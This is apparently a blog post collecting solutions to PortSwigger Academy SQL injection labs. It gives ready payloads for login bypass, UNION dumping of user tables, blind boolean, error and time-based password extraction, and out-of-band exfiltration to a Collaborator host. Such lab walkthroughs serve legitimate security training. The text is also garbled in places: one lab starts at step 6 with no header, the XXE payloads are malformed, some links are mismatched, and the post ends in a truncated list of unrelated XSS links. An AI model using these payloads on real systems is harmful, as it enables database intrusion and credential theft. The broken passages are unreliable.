# Mastering Web Security: Complete PortSwigger Academy Lab Solutions The PortSwigger Web Security Academy is the gold standard for learning web vulnerabilities. This blog compiles detailed solutions and methodologies for every lab, from Apprentice to Practitioner levels. ![labguid](/images/portswigger-labs-guide.png) ## SQL injection vulnerability ### Lab: SQL injection vulnerability in WHERE clause allowing retrieval of hidden data This lab contains a SQL injection vulnerability in the product category filter. When the user selects a category, the application carries out a SQL query like the following: `SELECT * FROM products WHERE category = 'Gifts' AND released = 1` To solve the lab, perform a SQL injection attack that causes the application to display one or more unreleased products. ##### Solution 1. Use Burp Suite to intercept and modify the request that sets the product category filter. 2. Modify the `category` parameter, giving it the value `'+OR+1=1--` 3. Submit the request, and verify that the response now contains one or more unreleased products. ### Lab: SQL injection vulnerability allowing login bypass This lab contains a SQL injection vulnerability in the login function. To solve the lab, perform a SQL injection attack that logs in to the application as the `administrator` user. ##### Solution 1. Use Burp Suite to intercept and modify the login request. 2. Modify the `username` parameter, giving it the value: `administrator'--` ### Lab: SQL injection attack, querying the database type and version on Oracle This lab contains a SQL injection vulnerability in the product category filter. You can use a UNION attack to retrieve the results from an injected query. To solve the lab, display the database version string. ##### Hint On Oracle databases, every `SELECT` statement must specify a table to select `FROM`. If your `UNION SELECT` attack does not query from a table, you will still need to include the `FROM` keyword followed by a valid table name. There is a built-in table on Oracle called `dual` which you can use for this purpose. For example: `UNION SELECT 'abc' FROM dual` For more information, see our [SQL injection cheat sheet](/web-security/sql- injection/cheat-sheet). ##### Solution 1. Use Burp Suite to intercept and modify the request that sets the product category filter. 2. Determine the [number of columns that are being returned by the query](/web-security/sql-injection/union-attacks/lab-determine-number-of-columns) and [which columns contain text data](/web-security/sql-injection/union-attacks/lab-find-column-containing-text). Verify that the query is returning two columns, both of which contain text, using a payload like the following in the `category` parameter: `'+UNION+SELECT+'abc','def'+FROM+dual--` 3. Use the following payload to display the database version: `'+UNION+SELECT+BANNER,+NULL+FROM+v$version--` ### Lab: SQL injection attack, querying the database type and version on MySQL and Microsoft This lab contains a SQL injection vulnerability in the product category filter. You can use a UNION attack to retrieve the results from an injected query. To solve the lab, display the database version string. ##### Hint You can find some useful payloads on our [SQL injection cheat sheet](/web- security/sql-injection/cheat-sheet). ##### Solution 1. Use Burp Suite to intercept and modify the request that sets the product category filter. 2. Determine the [number of columns that are being returned by the query](/web-security/sql-injection/union-attacks/lab-determine-number-of-columns) and [which columns contain text data](/web-security/sql-injection/union-attacks/lab-find-column-containing-text). Verify that the query is returning two columns, both of which contain text, using a payload like the following in the `category` parameter: `'+UNION+SELECT+'abc','def'#` 3. Use the following payload to display the database version: `'+UNION+SELECT+@@version,+NULL#` ### Lab: SQL injection attack, listing the database contents on non-Oracle databases This lab contains a SQL injection vulnerability in the product category filter. The results from the query are returned in the application's response so you can use a UNION attack to retrieve data from other tables. The application has a login function, and the database contains a table that holds usernames and passwords. You need to determine the name of this table and the columns it contains, then retrieve the contents of the table to obtain the username and password of all users. To solve the lab, log in as the `administrator` user. ##### Hint You can find some useful payloads on our [SQL injection cheat sheet](/web- security/sql-injection/cheat-sheet). ##### Solution 1. Use Burp Suite to intercept and modify the request that sets the product category filter. 2. Determine the [number of columns that are being returned by the query](/web-security/sql-injection/union-attacks/lab-determine-number-of-columns) and [which columns contain text data](/web-security/sql-injection/union-attacks/lab-find-column-containing-text). Verify that the query is returning two columns, both of which contain text, using a payload like the following in the `category` parameter: `'+UNION+SELECT+'abc','def'--` 3. Use the following payload to retrieve the list of tables in the database: `'+UNION+SELECT+table_name,+NULL+FROM+information_schema.tables--` 4. Find the name of the table containing user credentials. 5. Use the following payload (replacing the table name) to retrieve the details of the columns in the table: `'+UNION+SELECT+column_name,+NULL+FROM+information_schema.columns+WHERE+table_name='users_abcdef'--` 6. Find the names of the columns containing usernames and passwords. 7. Use the following payload (replacing the table and column names) to retrieve the usernames and passwords for all users: `'+UNION+SELECT+username_abcdef,+password_abcdef+FROM+users_abcdef--` 8. Find the password for the `administrator` user, and use it to log in. - [Lab](/web-security/sql-injection/examining-the-database/lab-listing-database-contents-oracle) ### Lab: SQL injection attack, listing the database contents on Oracle This lab contains a SQL injection vulnerability in the product category filter. The results from the query are returned in the application's response so you can use a UNION attack to retrieve data from other tables. The application has a login function, and the database contains a table that holds usernames and passwords. You need to determine the name of this table and the columns it contains, then retrieve the contents of the table to obtain the username and password of all users. To solve the lab, log in as the `administrator` user. ##### Hint On Oracle databases, every `SELECT` statement must specify a table to select `FROM`. If your `UNION SELECT` attack does not query from a table, you will still need to include the `FROM` keyword followed by a valid table name. There is a built-in table on Oracle called `dual` which you can use for this purpose. For example: `UNION SELECT 'abc' FROM dual` For more information, see our [SQL injection cheat sheet](/web-security/sql- injection/cheat-sheet). ##### Solution 1. Use Burp Suite to intercept and modify the request that sets the product category filter. 2. Determine the [number of columns that are being returned by the query](/web-security/sql-injection/union-attacks/lab-determine-number-of-columns) and [which columns contain text data](/web-security/sql-injection/union-attacks/lab-find-column-containing-text). Verify that the query is returning two columns, both of which contain text, using a payload like the following in the `category` parameter: `'+UNION+SELECT+'abc','def'+FROM+dual--` 3. Use the following payload to retrieve the list of tables in the database: `'+UNION+SELECT+table_name,NULL+FROM+all_tables--` 4. Find the name of the table containing user credentials. 5. Use the following payload (replacing the table name) to retrieve the details of the columns in the table: `'+UNION+SELECT+column_name,NULL+FROM+all_tab_columns+WHERE+table_name='USERS_ABCDEF'--` 6. Find the names of the columns containing usernames and passwords. 7. Use the following payload (replacing the table and column names) to retrieve the usernames and passwords for all users: `'+UNION+SELECT+USERNAME_ABCDEF,+PASSWORD_ABCDEF+FROM+USERS_ABCDEF--` 8. Find the password for the `administrator` user, and use it to log in. - [Lab](/web-security/sql-injection/union-attacks/lab-find-column-containing-text) ### Lab: SQL injection UNION attack, finding a column containing text This lab contains a SQL injection vulnerability in the product category filter. The results from the query are returned in the application's response, so you can use a UNION attack to retrieve data from other tables. To construct such an attack, you first need to determine the number of columns returned by the query. You can do this using a technique you learned in a [previous lab](/web-security/sql-injection/union-attacks/lab-determine-number-of- columns). The next step is to identify a column that is compatible with string data. The lab will provide a random value that you need to make appear within the query results. To solve the lab, perform a SQL injection UNION attack that returns an additional row containing the value provided. This technique helps you determine which columns are compatible with string data. ##### Solution 1. Use Burp Suite to intercept and modify the request that sets the product category filter. 2. Determine the [number of columns that are being returned by the query](/web-security/sql-injection/union-attacks/lab-determine-number-of-columns). Verify that the query is returning three columns, using the following payload in the `category` parameter: `'+UNION+SELECT+NULL,NULL,NULL--` 3. Try replacing each null with the random value provided by the lab, for example: `'+UNION+SELECT+'abcdef',NULL,NULL--` 4. If an error occurs, move on to the next null and try that instead. ### Lab: SQL injection UNION attack, retrieving data from other tables This lab contains a SQL injection vulnerability in the product category filter. The results from the query are returned in the application's response, so you can use a UNION attack to retrieve data from other tables. To construct such an attack, you need to combine some of the techniques you learned in previous labs. The database contains a different table called users, with columns called username and password. To solve the lab, perform a SQL injection UNION attack that retrieves all usernames and passwords, and use the information to log in as the administrator user. ACCESS THE LAB ##### Solution Use Burp Suite to intercept and modify the request that sets the product category filter. Determine the number of columns that are being returned by the query and which columns contain text data. Verify that the query is returning two columns, both of which contain text, using a payload like the following in the category parameter: '+UNION+SELECT+'abc','def'-- Use the following payload to retrieve the contents of the users table: '+UNION+SELECT+username,+password+FROM+users-- Verify that the application's response contains usernames and passwords. ### Lab: SQL injection UNION attack, retrieving multiple values in a single column This lab contains a SQL injection vulnerability in the product category filter. The results from the query are returned in the application's response so you can use a UNION attack to retrieve data from other tables. The database contains a different table called `users`, with columns called `username` and `password`. To solve the lab, perform a SQL injection UNION attack that retrieves all usernames and passwords, and use the information to log in as the `administrator` user. ##### Hint You can find some useful payloads on our [SQL injection cheat sheet](/web- security/sql-injection/cheat-sheet). ##### Solution 1. Use Burp Suite to intercept and modify the request that sets the product category filter. 2. Determine the [number of columns that are being returned by the query](/web-security/sql-injection/union-attacks/lab-determine-number-of-columns) and [which columns contain text data](/web-security/sql-injection/union-attacks/lab-find-column-containing-text). Verify that the query is returning two columns, only one of which contain text, using a payload like the following in the `category` parameter: `'+UNION+SELECT+NULL,'abc'--` 3. Use the following payload to retrieve the contents of the `users` table: `'+UNION+SELECT+NULL,username||'~'||password+FROM+users--` 4. Verify that the application's response contains usernames and passwords. ##### Blind SQL injection with conditional responses 6. The next step is to determine how many characters are in the password of the `administrator` user. To do this, change the value to: `TrackingId=xyz' AND (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>1)='a` This condition should be true, confirming that the password is greater than 1 character in length. 7. Send a series of follow-up values to test different password lengths. Send: `TrackingId=xyz' AND (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>2)='a` Then send: `TrackingId=xyz' AND (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>3)='a` And so on. You can do this manually using [Burp Repeater](/burp/documentation/desktop/tools/repeater), since the length is likely to be short. When the condition stops being true (i.e. when the `Welcome back` message disappears), you have determined the length of the password, which is in fact 20 characters long. 8. After determining the length of the password, the next step is to test the character at each position to determine its value. This involves a much larger number of requests, so you need to use [Burp Intruder](/burp/documentation/desktop/tools/intruder). Send the request you are working on to Burp Intruder, using the context menu. 9. In Burp Intruder, change the value of the cookie to: `TrackingId=xyz' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='administrator')='a` This uses the `SUBSTRING()` function to extract a single character from the password, and test it against a specific value. Our attack will cycle through each position and possible value, testing each one in turn. 10. Place payload position markers around the final `a` character in the cookie value. To do this, select just the `a`, and click the **Add §** button. You should then see the following as the cookie value (note the payload position markers): `TrackingId=xyz' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='administrator')='§a§` 11. To test the character at each position, you'll need to send suitable payloads in the payload position that you've defined. You can assume that the password contains only lowercase alphanumeric characters. In the **Payloads** side panel, check that **Simple list** is selected, and under **Payload configuration** add the payloads in the range a - z and 0 - 9. You can select these easily using the **Add from list** drop-down. 12. To be able to tell when the correct character was submitted, you'll need to grep each response for the expression `Welcome back`. To do this, click on the **Settings** tab to open the **Settings** side panel. In the **Grep - Match** section, clear existing entries in the list, then add the value `Welcome back`. 13. Launch the attack by clicking the **Start attack** button. 14. Review the attack results to find the value of the character at the first position. You should see a column in the results called `Welcome back`. One of the rows should have a tick in this column. The payload showing for that row is the value of the character at the first position. 15. Now, you simply need to re-run the attack for each of the other character positions in the password, to determine their value. To do this, go back to the **Intruder** tab, and change the specified offset from 1 to 2. You should then see the following as the cookie value: `TrackingId=xyz' AND (SELECT SUBSTRING(password,2,1) FROM users WHERE username='administrator')='a` 16. Launch the modified attack, review the results, and note the character at the second offset. 17. Continue this process testing offset 3, 4, and so on, until you have the whole password. 18. In the browser, click **My account** to open the login page. Use the password to log in as the `administrator` user. ##### Note For more advanced users, the solution described here could be made more elegant in various ways. For example, instead of iterating over every character, you could perform a binary search of the character space. Or you could create a single Intruder attack with two payload positions and the cluster bomb attack type, and work through all permutations of offsets and character values. ### Lab: Blind SQL injection with conditional errors This lab contains a blind SQL injection vulnerability. The application uses a tracking cookie for analytics, and performs a SQL query containing the value of the submitted cookie. The results of the SQL query are not returned, and the application does not respond any differently based on whether the query returns any rows. If the SQL query causes an error, then the application returns a custom error message. The database contains a different table called `users`, with columns called `username` and `password`. You need to exploit the blind SQL injection vulnerability to find out the password of the `administrator` user. To solve the lab, log in as the `administrator` user. ##### Hint This lab uses an Oracle database. For more information, see the [SQL injection cheat sheet](/web-security/sql-injection/cheat-sheet). ##### Solution 1. Visit the front page of the shop, and use Burp Suite to intercept and modify the request containing the `TrackingId` cookie. For simplicity, let's say the original value of the cookie is `TrackingId=xyz`. 2. Modify the `TrackingId` cookie, appending a single quotation mark to it: `TrackingId=xyz'` Verify that an error message is received. 3. Now change it to two quotation marks: `TrackingId=xyz''` Verify that the error disappears. This suggests that a syntax error (in this case, the unclosed quotation mark) is having a detectable effect on the response. 4. You now need to confirm that the server is interpreting the injection as a SQL query i.e. that the error is a SQL syntax error as opposed to any other kind of error. To do this, you first need to construct a subquery using valid SQL syntax. Try submitting: `TrackingId=xyz'||(SELECT '')||'` In this case, notice that the query still appears to be invalid. This may be due to the database type - try specifying a predictable table name in the query: `TrackingId=xyz'||(SELECT '' FROM dual)||'` As you no longer receive an error, this indicates that the target is probably using an Oracle database, which requires all `SELECT` statements to explicitly specify a table name. 5. Now that you've crafted what appears to be a valid query, try submitting an invalid query while still preserving valid SQL syntax. For example, try querying a non-existent table name: `TrackingId=xyz'||(SELECT '' FROM not-a-real-table)||'` This time, an error is returned. This behavior strongly suggests that your injection is being processed as a SQL query by the back-end. 6. As long as you make sure to always inject syntactically valid SQL queries, you can use this error response to infer key information about the database. For example, in order to verify that the `users` table exists, send the following query: `TrackingId=xyz'||(SELECT '' FROM users WHERE ROWNUM = 1)||'` As this query does not return an error, you can infer that this table does exist. Note that the `WHERE ROWNUM = 1` condition is important here to prevent the query from returning more than one row, which would break our concatenation. 7. You can also exploit this behavior to test conditions. First, submit the following query: `TrackingId=xyz'||(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM dual)||'` Verify that an error message is received. 8. Now change it to: `TrackingId=xyz'||(SELECT CASE WHEN (1=2) THEN TO_CHAR(1/0) ELSE '' END FROM dual)||'` Verify that the error disappears. This demonstrates that you can trigger an error conditionally on the truth of a specific condition. The `CASE` statement tests a condition and evaluates to one expression if the condition is true, and another expression if the condition is false. The former expression contains a divide-by-zero, which causes an error. In this case, the two payloads test the conditions `1=1` and `1=2`, and an error is received when the condition is `true`. 9. You can use this behavior to test whether specific entries exist in a table. For example, use the following query to check whether the username `administrator` exists: `TrackingId=xyz'||(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'` Verify that the condition is true (the error is received), confirming that there is a user called `administrator`. 10. The next step is to determine how many characters are in the password of the `administrator` user. To do this, change the value to: `TrackingId=xyz'||(SELECT CASE WHEN LENGTH(password)>1 THEN to_char(1/0) ELSE '' END FROM users WHERE username='administrator')||'` This condition should be true, confirming that the password is greater than 1 character in length. 11. Send a series of follow-up values to test different password lengths. Send: `TrackingId=xyz'||(SELECT CASE WHEN LENGTH(password)>2 THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'` Then send: `TrackingId=xyz'||(SELECT CASE WHEN LENGTH(password)>3 THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'` And so on. You can do this manually using [Burp Repeater](/burp/documentation/desktop/tools/repeater), since the length is likely to be short. When the condition stops being true (i.e. when the error disappears), you have determined the length of the password, which is in fact 20 characters long. 12. After determining the length of the password, the next step is to test the character at each position to determine its value. This involves a much larger number of requests, so you need to use [Burp Intruder](/burp/documentation/desktop/tools/intruder). Send the request you are working on to Burp Intruder, using the context menu. 13. Go to Burp Intruder and change the value of the cookie to: `TrackingId=xyz'||(SELECT CASE WHEN SUBSTR(password,1,1)='a' THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'` This uses the `SUBSTR()` function to extract a single character from the password, and test it against a specific value. Our attack will cycle through each position and possible value, testing each one in turn. 14. Place payload position markers around the final `a` character in the cookie value. To do this, select just the `a`, and click the "Add §" button. You should then see the following as the cookie value (note the payload position markers): `TrackingId=xyz'||(SELECT CASE WHEN SUBSTR(password,1,1)='§a§' THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'` 15. To test the character at each position, you'll need to send suitable payloads in the payload position that you've defined. You can assume that the password contains only lowercase alphanumeric characters. In the "Payloads" side panel, check that "Simple list" is selected, and under "Payload configuration" add the payloads in the range a - z and 0 - 9. You can select these easily using the "Add from list" drop-down. 16. Launch the attack by clicking the " Start attack" button. 17. Review the attack results to find the value of the character at the first position. The application returns an HTTP 500 status code when the error occurs, and an HTTP 200 status code normally. The "Status" column in the Intruder results shows the HTTP status code, so you can easily find the row with 500 in this column. The payload showing for that row is the value of the character at the first position. 18. Now, you simply need to re-run the attack for each of the other character positions in the password, to determine their value. To do this, go back to the original Intruder tab, and change the specified offset from 1 to 2. You should then see the following as the cookie value: `TrackingId=xyz'||(SELECT CASE WHEN SUBSTR(password,2,1)='§a§' THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'` 19. Launch the modified attack, review the results, and note the character at the second offset. 20. Continue this process testing offset 3, 4, and so on, until you have the whole password. 21. In the browser, click "My account" to open the login page. Use the password to log in as the `administrator` user. ### Lab: Visible error-based SQL injection This lab contains a SQL injection vulnerability. The application uses a tracking cookie for analytics, and performs a SQL query containing the value of the submitted cookie. The results of the SQL query are not returned. The database contains a different table called `users`, with columns called `username` and `password`. To solve the lab, find a way to leak the password for the `administrator` user, then log in to their account. ##### Solution 1. Using Burp's built-in browser, explore the lab functionality. 2. Go to the **Proxy > HTTP history** tab and find a `GET /` request that contains a `TrackingId` cookie. 3. In Repeater, append a single quote to the value of your `TrackingId` cookie and send the request. `TrackingId=ogAZZfxtOKUELbuJ'` 4. In the response, notice the verbose error message. This discloses the full SQL query, including the value of your cookie. It also explains that you have an unclosed string literal. Observe that your injection appears inside a single-quoted string. 5. In the request, add comment characters to comment out the rest of the query, including the extra single-quote character that's causing the error: `TrackingId=ogAZZfxtOKUELbuJ'--` 6. Send the request. Confirm that you no longer receive an error. This suggests that the query is now syntactically valid. 7. Adapt the query to include a generic `SELECT` subquery and cast the returned value to an `int` data type: `TrackingId=ogAZZfxtOKUELbuJ' AND CAST((SELECT 1) AS int)--` 8. Send the request. Observe that you now get a different error saying that an `AND` condition must be a boolean expression. 9. Modify the condition accordingly. For example, you can simply add a comparison operator (`=`) as follows: `TrackingId=ogAZZfxtOKUELbuJ' AND 1=CAST((SELECT 1) AS int)--` 10. Send the request. Confirm that you no longer receive an error. This suggests that this is a valid query again. 11. Adapt your generic `SELECT` statement so that it retrieves usernames from the database: `TrackingId=ogAZZfxtOKUELbuJ' AND 1=CAST((SELECT username FROM users) AS int)--` 12. Observe that you receive the initial error message again. Notice that your query now appears to be truncated due to a character limit. As a result, the comment characters you added to fix up the query aren't included. 13. Delete the original value of the `TrackingId` cookie to free up some additional characters. Resend the request. `TrackingId=' AND 1=CAST((SELECT username FROM users) AS int)--` 14. Notice that you receive a new error message, which appears to be generated by the database. This suggests that the query was run properly, but you're still getting an error because it unexpectedly returned more than one row. 15. Modify the query to return only one row: `TrackingId=' AND 1=CAST((SELECT username FROM users LIMIT 1) AS int)--` 16. Send the request. Observe that the error message now leaks the first username from the `users` table: `ERROR: invalid input syntax for type integer: "administrator"` 17. Now that you know that the `administrator` is the first user in the table, modify the query once again to leak their password: `TrackingId=' AND 1=CAST((SELECT password FROM users LIMIT 1) AS int)--` 18. Log in as `administrator` using the stolen password to solve the lab. ### Lab: Blind SQL injection with time delays This lab contains a blind SQL injection vulnerability. The application uses a tracking cookie for analytics, and performs a SQL query containing the value of the submitted cookie. The results of the SQL query are not returned, and the application does not respond any differently based on whether the query returns any rows or causes an error. However, since the query is executed synchronously, it is possible to trigger conditional time delays to infer information. To solve the lab, exploit the SQL injection vulnerability to cause a 10 second delay. ##### Hint You can find some useful payloads on our [SQL injection cheat sheet](/web- security/sql-injection/cheat-sheet). ##### Solution 1. Visit the front page of the shop, and use Burp Suite to intercept and modify the request containing the `TrackingId` cookie. 2. Modify the `TrackingId` cookie, changing it to: `TrackingId=x'||pg_sleep(10)--` 3. Submit the request and observe that the application takes 10 seconds to respond. ### Lab: Blind SQL injection with time delays and information retrieval This lab contains a blind SQL injection vulnerability. The application uses a tracking cookie for analytics, and performs a SQL query containing the value of the submitted cookie. The results of the SQL query are not returned, and the application does not respond any differently based on whether the query returns any rows or causes an error. However, since the query is executed synchronously, it is possible to trigger conditional time delays to infer information. The database contains a different table called `users`, with columns called `username` and `password`. You need to exploit the blind SQL injection vulnerability to find out the password of the `administrator` user. To solve the lab, log in as the `administrator` user. ##### Hint You can find some useful payloads on our [SQL injection cheat sheet](/web- security/sql-injection/cheat-sheet). ##### Solution 1. Visit the front page of the shop, and use Burp Suite to intercept and modify the request containing the `TrackingId` cookie. 2. Modify the `TrackingId` cookie, changing it to: `TrackingId=x'%3BSELECT+CASE+WHEN+(1=1)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END--` Verify that the application takes 10 seconds to respond. 3. Now change it to: `TrackingId=x'%3BSELECT+CASE+WHEN+(1=2)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END--` Verify that the application responds immediately with no time delay. This demonstrates how you can test a single boolean condition and infer the result. 4. Now change it to: `TrackingId=x'%3BSELECT+CASE+WHEN+(username='administrator')+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--` Verify that the condition is true, confirming that there is a user called `administrator`. 5. The next step is to determine how many characters are in the password of the `administrator` user. To do this, change the value to: `TrackingId=x'%3BSELECT+CASE+WHEN+(username='administrator'+AND+LENGTH(password)>1)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--` This condition should be true, confirming that the password is greater than 1 character in length. 6. Send a series of follow-up values to test different password lengths. Send: `TrackingId=x'%3BSELECT+CASE+WHEN+(username='administrator'+AND+LENGTH(password)>2)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--` Then send: `TrackingId=x'%3BSELECT+CASE+WHEN+(username='administrator'+AND+LENGTH(password)>3)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--` And so on. You can do this manually using [Burp Repeater](/burp/documentation/desktop/tools/repeater), since the length is likely to be short. When the condition stops being true (i.e. when the application responds immediately without a time delay), you have determined the length of the password, which is in fact 20 characters long. 7. After determining the length of the password, the next step is to test the character at each position to determine its value. This involves a much larger number of requests, so you need to use [Burp Intruder](/burp/documentation/desktop/tools/intruder). Send the request you are working on to Burp Intruder, using the context menu. 8. In Burp Intruder, change the value of the cookie to: `TrackingId=x'%3BSELECT+CASE+WHEN+(username='administrator'+AND+SUBSTRING(password,1,1)='a')+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--` This uses the `SUBSTRING()` function to extract a single character from the password, and test it against a specific value. Our attack will cycle through each position and possible value, testing each one in turn. 9. Place payload position markers around the `a` character in the cookie value. To do this, select just the `a`, and click the **Add §** button. You should then see the following as the cookie value (note the payload position markers): `TrackingId=x'%3BSELECT+CASE+WHEN+(username='administrator'+AND+SUBSTRING(password,1,1)='§a§')+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--` 10. To test the character at each position, you'll need to send suitable payloads in the payload position that you've defined. You can assume that the password contains only lower case alphanumeric characters. In the **Payloads** side panel, check that **Simple list** is selected, and under **Payload configuration** add the payloads in the range a - z and 0 - 9. You can select these easily using the **Add from list** drop-down. 11. To be able to tell when the correct character was submitted, you'll need to monitor the time taken for the application to respond to each request. For this process to be as reliable as possible, you need to configure the Intruder attack to issue requests in a single thread. To do this, click the **Resource pool** tab to open the **Resource pool** side panel and add the attack to a resource pool with the **Maximum concurrent requests** set to `1`. 12. Launch the attack by clicking the **Start attack** button. 13. Review the attack results to find the value of the character at the first position. You should see a column in the results called **Response received**. This will generally contain a small number, representing the number of milliseconds the application took to respond. One of the rows should have a larger number in this column, in the region of 10,000 milliseconds. The payload showing for that row is the value of the character at the first position. 14. Now, you simply need to re-run the attack for each of the other character positions in the password, to determine their value. To do this, go back to the main Burp window and change the specified offset from 1 to 2. You should then see the following as the cookie value: `TrackingId=x'%3BSELECT+CASE+WHEN+(username='administrator'+AND+SUBSTRING(password,2,1)='§a§')+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--` 15. Launch the modified attack, review the results, and note the character at the second offset. 16. Continue this process testing offset 3, 4, and so on, until you have the whole password. 17. In the browser, click **My account** to open the login page. Use the password to log in as the `administrator` user. ### Lab: Blind SQL injection with out-of-band interaction This lab contains a blind SQL injection vulnerability. The application uses a tracking cookie for analytics, and performs a SQL query containing the value of the submitted cookie. The SQL query is executed asynchronously and has no effect on the application's response. However, you can trigger out-of-band interactions with an external domain. To solve the lab, exploit the SQL injection vulnerability to cause a DNS lookup to Burp Collaborator. ##### Note To prevent the Academy platform being used to attack third parties, our firewall blocks interactions between the labs and arbitrary external systems. To solve the lab, you must use Burp Collaborator's default public server. ##### Hint You can find some useful payloads on our [SQL injection cheat sheet](/web- security/sql-injection/cheat-sheet). ##### Solution 1. Visit the front page of the shop, and use Burp Suite to intercept and modify the request containing the `TrackingId` cookie. 2. Modify the `TrackingId` cookie, changing it to a payload that will trigger an interaction with the Collaborator server. For example, you can combine SQL injection with basic XXE techniques as follows: `TrackingId=x'+UNION+SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f>+%25remote%3b]>'),'/l')+FROM+dual--` 3. Right-click and select "Insert Collaborator payload" to insert a Burp Collaborator subdomain where indicated in the modified `TrackingId` cookie. The solution described here is sufficient simply to trigger a DNS lookup and so solve the lab. In a real-world situation, you would use [Burp Collaborator](/burp/documentation/desktop/tools/collaborator) to verify that your payload had indeed triggered a DNS lookup and potentially exploit this behavior to exfiltrate sensitive data from the application. We'll go over this technique in the next lab. ### Lab: Blind SQL injection with out-of-band data exfiltration This lab contains a blind SQL injection vulnerability. The application uses a tracking cookie for analytics, and performs a SQL query containing the value of the submitted cookie. The SQL query is executed asynchronously and has no effect on the application's response. However, you can trigger out-of-band interactions with an external domain. The database contains a different table called `users`, with columns called `username` and `password`. You need to exploit the blind SQL injection vulnerability to find out the password of the `administrator` user. To solve the lab, log in as the `administrator` user. ##### Note To prevent the Academy platform being used to attack third parties, our firewall blocks interactions between the labs and arbitrary external systems. To solve the lab, you must use Burp Collaborator's default public server. ##### Hint You can find some useful payloads on our [SQL injection cheat sheet](/web- security/sql-injection/cheat-sheet). ##### Solution 1. Visit the front page of the shop, and use Burp Suite Professional to intercept and modify the request containing the `TrackingId` cookie. 2. Modify the `TrackingId` cookie, changing it to a payload that will leak the administrator's password in an interaction with the Collaborator server. For example, you can combine SQL injection with basic XXE techniques as follows: `TrackingId=x'+UNION+SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f>+%25remote%3b]>'),'/l')+FROM+dual--` 3. Right-click and select "Insert Collaborator payload" to insert a Burp Collaborator subdomain where indicated in the modified `TrackingId` cookie. 4. Go to the Collaborator tab, and click "Poll now". If you don't see any interactions listed, wait a few seconds and try again, since the server-side query is executed asynchronously. 5. You should see some DNS and HTTP interactions that were initiated by the application as the result of your payload. The password of the `administrator` user should appear in the subdomain of the interaction, and you can view this within the Collaborator tab. For DNS interactions, the full domain name that was looked up is shown in the Description tab. For HTTP interactions, the full domain name is shown in the Host header in the Request to Collaborator tab. 6. In the browser, click "My account" to open the login page. Use the password to log in as the `administrator` user. - [Using HTML-encoding](/web-security/cross-site-scripting/contexts#making-use-of-html-encoding) - [Template literals](/web-security/cross-site-scripting/contexts#xss-in-javascript-template-literals) * [Client-side template injection](/web-security/cross-site-scripting/contexts/client-side-template-injection) * [AngularJS sandbox](/web-security/cross-site-scripting/contexts/client-side-template-injection#what-is-the-angularjs-sandbox) * [AngularJS sandbox escape](/web-security/cross-site-scripting/contexts/client-side-template-injection#how-does-an-angularjs-sandbox-escape-work) * [Constructing an advanced escape](/web-security/cross-site-scripting/contexts/client-side-template-injection#constructing-an-advanced-angularjs-sandbox-escape) * [AngularJS CSP bypass](/web-security/cross-site-scripting/contexts/client-side-template-injection#how-does-an-angularjs-csp-bypass-work) * [Bypassing a CSP with an AngularJS sandbox escape](/web-security/cross-site-scripting/contexts/client-side-template-injection#bypassing-a-csp-with-an-angularjs-sandbox-escape) * [Preventing](/web-security/cross-site-scripting/contexts/client-side-template-injection#how-to-prevent-client-side-template-injection-vulnerabilities) - [Exploiting XSS vulnerabilities](/web-security/cross-site-scripting/exploiting) - [To steal cookies](/web-security/cross-site-scripting/exploiting#exploiting-cross-site-scripting-to-steal-cookies) - [To capture passwords](/web-security/cross-site-scripting/exploiting#exploiting-cross-site-scripting-to-capture-passwords) - [To perform CSRF](/web-security/cross-site-scripting/exploiting#exploiting-cross-site-scripting-to-bypass-csrf-protections) - [Dangling markup injection](/web-security/cross-site-scripting/dangling-markup) - [Preventing attacks](/web-security/cross-site-scripting/dangling-markup#how-to-prevent-dangling-markup-attacks) - [Content security policy (CSP)](/web-security/cross-site-scripting/content-security-policy) - [Mitigating XSS attacks](/web-security/cross-site-scripting/content-security-policy#mitigating-xss-attacks-using-csp) - [Mitigating dangling markup attacks](/web-security/cross-site-scripting/content-security-policy#mitigating-dangling-markup-attacks-using-csp) - [Bypassing CSP](/web-security/cross-site-scripting/content-security-policy#bypassing-csp-with-policy-injection) - [Protecting against clickjacking](/web-security/cross-site-scripting/content-security-policy#protecting-against-clickjacking-using-csp) - [Preventing XSS attacks](/web-security/cross-site-scripting/preventing) - [Encode data on output](/web-security/cross-site-scripting/preventing#encode-data-on-output) - [Validate input on arrival](/web-security/cross-site-scripting/preventing#validate-input-on-arrival) - [Whitelisting vs blacklisting](/web-security/cross-site-scripting/preventing#whitelisting-vs-blacklisting) - [Allowing "safe" HTML](/web-security/cross-site-scripting/preventing#allowing-safe-html) - [Using a template engine](/web-security/cross-site-scripting/preventing#how-to-prevent-xss-using-a-template-engine) - [In PHP](/web-security/cross-site-scripting/preventing#how-to-prevent-xss-in-php) - [In JavaScript](/web-security/cross-site-scripting/preventing#how-to-prevent-xss-client-side-in-javascript) - [In jQuery](/web-security/cross-site-scripting/preventing#how-to-prevent-xss-in-jquery) - [Using CSP](/web-security/cross-site-scripting/preventing#mitigating-xss-using-content-security-policy-csp) - [Cheat sheet](/web-security/cross-site-scripting/cheat-sheet) - [View all XSS 